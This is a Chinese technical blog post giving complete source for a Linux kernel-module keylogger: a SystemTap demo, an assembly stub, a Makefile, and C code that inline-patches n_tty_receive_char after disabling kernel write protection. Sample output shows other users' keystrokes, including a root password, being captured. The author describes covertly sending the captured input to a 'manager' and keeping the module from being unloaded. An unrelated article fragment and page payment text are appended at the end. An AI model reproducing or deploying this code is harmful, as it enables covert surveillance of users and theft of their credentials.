Linux内核实时监控键盘输入

刚毕业那会儿,VC6学习MFC,总得来点儿好玩的东西才能继续下去,毕竟不是科班出身,得完全靠意义去驱动…那个时候认识了键盘钩子,鼠标钩子之类:
https://blog.csdn.net/dog250/article/details/5303610

这种方法貌似还可以盗号…只是QQ早就解决了这个问题。

不说Windows钩子了,说说Linux系统中如何监控键盘输入,这简直太简单了。

关于Linux终端,详见:
https://blog.csdn.net/dog250/article/details/78766716
接下来我们就知道如何搞了:

  • hook n_tty_receive_char函数

我们先看下实际效果:

stap -e 'probe kernel.function("n_tty_receive_char") {printf("%c  ", $c);}'

我们看看会发生什么,在随便一个ssh终端敲入pwd,ls等命令,stap回显如下

  l  s     p  w  d

这里只是演示,下面我们来实现它。

很容易想到得是,直接将n_tty_receive_char函数的开头5个字节的Ftrace caller改成一个call stub即可,一般的stap也都是这么干的,然而我们实际看一眼:

crash>
crash> dis n_tty_receive_char
0xffffffff813b28d0 <n_tty_receive_char>:        int3
0xffffffff813b28d1 <n_tty_receive_char+1>:      mov    %rsp,%rbp
0xffffffff813b28d4 <n_tty_receive_char+4>:      push   %r15
0xffffffff813b28d6 <n_tty_receive_char+6>:      push   %r14
0xffffffff813b28d8 <n_tty_receive_char+8>:      mov    %rdi,%r14
0xffffffff813b28db <n_tty_receive_char+11>:     push   %r13
0xffffffff813b28dd <n_tty_receive_char+13>:     push   %r12
0xffffffff813b28df <n_tty_receive_char+15>:     push   %rbx
0xffffffff813b28e0 <n_tty_receive_char+16>:     sub    $0x20,%rsp
...

很遗憾,不能 替换前5个字节 ,stap采用了int3断点机制。

我也想采用int3,但后来我发现太麻烦了,我需要register一个die notifier,首先我要先定义一个notifier block,事实上,我要实现一个非常复杂的回调函数,内部要识别是n_tty_receive_char引发的int3,同时还要解析pt_regs,并且手工平衡stack,这不是我的风格!

我只能用很短的代码实现,因为我不会编程。

所以我要用我的inline hook方式:

  • 在n_tty_receive_char的第一个分支之前,找一个优秀的满足5个字节替换的hook点。

我一眼就相中了下面的5个字节:

0xffffffff813b28db <n_tty_receive_char+11>:     push   %r13
0xffffffff813b28dd <n_tty_receive_char+13>:     push   %r12
0xffffffff813b28df <n_tty_receive_char+15>:     push   %rbx

好吧,就它了,我只需将这5个字节替换成:

call stub

即可,而stub的内容有两部分:

  1. 重新执行被替换的部分。
  2. 执行键盘操作记录逻辑。
stub:
	pop %r11  ; 翻转retcode的位置之一
	push %r13
	push %r12
	push %rbx
	push %r11 ; 翻转retcode的位置之二
	call logger
	ret

事实上的代码要复杂些,因为我们还要保证在调用完logger之后,rsi,rdi依然保存着n_tty_receive_char的参数,所以需要将更多的寄存器压栈。

必须说明的是,stub函数最好用汇编写,因为我不需要gcc生成的prologue & epilogue,而且x86_64体系又不能用naked属性 __attribute__ ((naked)),好吧,那就直接写汇编:

; stub.s
section .text
global logger_stub
extern logger
logger_stub:
	pop	 r11	; 为了平衡堆栈,call logger_stub压栈的retcode弹出
	push r13	; 重新执行被hook的指令:压栈r13
	push r12	; 重新执行被hook的指令:压栈r12
	push rbx	; 重新执行被hook的指令:压栈rbx
	push r11	; 将call logger_stub的retcode重新压栈
	push rbp	; 保存rbp
	push rsp	; 保存rsp
	push rsi	; 保存n_tty_receive_char参数,同时也是logger参数
	push rdi	; 保存n_tty_receive_char参数,同时也是logger参数
	call logger	; 调用logger函数,这个函数是核心,其它的都是铺垫
	pop  rdi
	pop  rsi
	pop  rsp
	pop  rbp
	ret

先看Makefile:

obj-m += keylog.o
keylog-objs := logger.o stub.o

KDIR := /lib/modules/`uname -r`/build
PWD := $(shell pwd)
default:
	nasm -f elf64 -o stub.o stub.s
	make -C $(KDIR) M=$(PWD) modules

再看模块的C文件:

#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/tty.h>

void logger(struct tty_struct *tty, char c)
{
	printk("[0x%02x]:%c, %s\n", c, c, tty->name);
	// 这里仅仅演示一下,打印到内核缓冲区,实际上应该UDP发给经理
}

extern int logger_stub;

/*
 *	crash> dis n_tty_receive_char
 *	0xffffffff813b28d0 <n_tty_receive_char>:        push   %rbp
 *	0xffffffff813b28d1 <n_tty_receive_char+1>:      mov    %rsp,%rbp
 *	0xffffffff813b28d4 <n_tty_receive_char+4>:      push   %r15
 *	0xffffffff813b28d6 <n_tty_receive_char+6>:      push   %r14
 *	0xffffffff813b28d8 <n_tty_receive_char+8>:      mov    %rdi,%r14
 *	0xffffffff813b28db <n_tty_receive_char+11>:     push   %r13
 *	0xffffffff813b28dd <n_tty_receive_char+13>:     push   %r12
 *	0xffffffff813b28df <n_tty_receive_char+15>:     push   %rbx
 *	0xffffffff813b28e0 <n_tty_receive_char+16>:     sub    $0x20,%rsp
 *	0xffffffff813b28e4 <n_tty_receive_char+20>:     mov    0x210(%rdi),%r12
 *	0xffffffff813b28eb <n_tty_receive_char+27>:     testb  $0x4,0x14(%r12)
 *	0xffffffff813b28f1 <n_tty_receive_char+33>:     jne    0xffffffff813b2a90 <n_tty_receive_char+448>
 */
// 参见上述反汇编,在第一个分支之前来找一个优秀的5个字节hook点,我选择了offset 11~15
#define HOOK_OFFSET		11
#define HOOK_SIZE   	5

unsigned long addr, cr0;
unsigned char *pold;

static int __init KeyboardMonitor_init(void)
{
	unsigned char e8_call[HOOK_SIZE];
	s32 offset;

	addr = (unsigned long)kallsyms_lookup_name("n_tty_receive_char");
	if (!addr) {
		return -1;
	}

	e8_call[0] = 0xe8;
	offset = (s32)((long)&logger_stub - (long)(addr + 11) - 5);
	(*(s32 *)(&e8_call[1])) = offset;

	cr0 = read_cr0();
	clear_bit(16, &cr0);
	pold = (unsigned char *)addr;
	memcpy(&pold[11], e8_call, HOOK_SIZE);
	set_bit(16, &cr0);
	write_cr0(cr0);

	//hide_mod(); // 不提供exit接口即可,经理正当监控,无需炫技隐藏!

	return 0;
}

module_init(KeyboardMonitor_init);
MODULE_LICENSE("GPL");

这次是经理的正当理由监控, 我就装了个模块监控你了,你能怎么地?我光明正大监控你的输入,所以我不用隐藏我自己,我只要不让你把我的监控模块卸了就行。

来来来:

[root@localhost test]# insmod ./keylog.ko
[root@localhost test]#
[root@localhost test]#
[root@localhost test]#
[root@localhost test]# dmesg
, pts0.256310] [0x0d]:
, pts0.440261] [0x0d]:
, pts0.584438] [0x0d]:
[17286.839276] [0x64]:d, pts0
[17286.928489] [0x6d]:m, pts0
[17287.064189] [0x65]:e, pts0
[17287.256186] [0x73]:s, pts0
[17287.408053] [0x09]:	, pts0
, pts0.832093] [0x0d]:

试着在别的终端上拍几个键,试着直接在终端输入你的root用户名以及密码:

[root@localhost test]# dmesg
, pts0.928190] [0x0d]:
[17396.801053] [0x72]:r, tty1
[17396.966363] [0x6f]:o, tty1
[17397.150358] [0x6f]:o, tty1
[17397.286591] [0x74]:t, tty1
, tty1.382471] [0x0d]:
[17399.382712] [0x31]:1, tty1
, tty1.774790] [0x0d]:
[17402.524715] [0x00]:
[17402.575867] [0x00]:
[17404.016436] [0x64]:d, pts0
[17404.192068] [0x6d]:m, pts0
[17404.248593] [0x65]:e, pts0
[17404.440315] [0x73]:s, pts0
[17404.616106] [0x09]:	, pts0
, pts0.088138] [0x0d]:

正常情况下,这个信息不应该打印在dmesg的,这里只是演示效果,正常情况下,这个信息应该偷偷用UDP包的形式发给经理,或者用短信的方式发到经理的手机上。

然而,机器被断网了怎么办?发给经理的网络通道被封堵了怎么办?这又是一个左右手互搏的过程。


浙江温州皮鞋湿,下雨进水不会胖。

1 引言 当前,由于Linux资源完全公开,使得Linux的发展日益广泛快速。基于Linux的各种应用已逐渐深入日常生活的方方面面,尤其是在嵌入式领域,由于内核可裁减定制,因此可随意地根据用户需求进行整个系统的定制与重构。其中,我们可以通过对各种标准外部设备的驱动进行改造,从而实现用户对标准设备的特定需求,例如可以通过对键盘的模拟来实现操作的自动化,从而可以避免重复的键盘操作。 2 Linux内核支持的外部调用接口 由于Linux内核作为系统最深层次的核心,因此外部的开发人员并不能直接对内核进行操作。然而在一些应用程序的开发过程中,又不得不使用内核的某些功能,因此就提供了一些外部接口供开发人员直接与底层内核打交道。 2.1 中断 在Linux 下,硬件中断叫做IRQ(Interrupt Requests)。有两种IRQ,短类型和长类型。短IRQ需要很短的时间,在此期间机器的其他部分被锁定,而且没有其他中断被处理。一个长IRQ需要较长的时间,在此期间可能发生其他中断(但不是发自同一个设备)。如果可能的话,最好把一个中段声明为长类型。如果CPU接到一个中断,它就会停止一切工作(除非它正在处理一个更重要的中断,在这种情况下要等到更重要的中断处理结束后才会处理这个中断),把相关的参数存储到栈里,然后调用中断处理程序。这意味着在中断处理程序本身中有些事情是不允许的,因为这时系统处在一个未知状态。解决这个问题的方法是让中断处理程序做需要马上做的事,通常是从硬件读取信息或给硬件发送信息,然后把对新信息的处理调度到以后去做。 实现的方法是在接到相关的IRQ(在Intel平台上有16个IRQ)时调用中断处理程序。这个函数接到IRQ号码、函数名、标志、一个/proc/interrupts的名字和传给中断处理程序的一个参数。标志中可以包括 SA_SHIRQ来表明你希望和其他处理程序共享此IRQ(通常很多设备公用一个IRQ),或者一个SA_INTERRUPT表明这是一个紧急中断。这个函数仅在此IRQ没有其他处理程序或需要共享所有处理程序时才会成功运行。 2.2 系统调用 系统调用发生在用户进程,通过一些特殊的函数来请求内核提供服务。这时,用户进程被挂起,内核验证用户请求,尝试执行并把结果反馈给用户进程,接着用户进程重新启动。一般当前系统的系统调用作为一张表sys_call_table进行定义的,是由指向实现各种系统调用的内核函数的函数指针组成的表。具体参数参见Linux内核源代码arch/i386/kernel/entry.S文件中: ENTRY(sys_call_table) l long SYMBOL_NAME(sys_ni_syscall) /* 0 - old "setup()" system call*/ l long SYMBOL_NAME(sys_exit) …
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值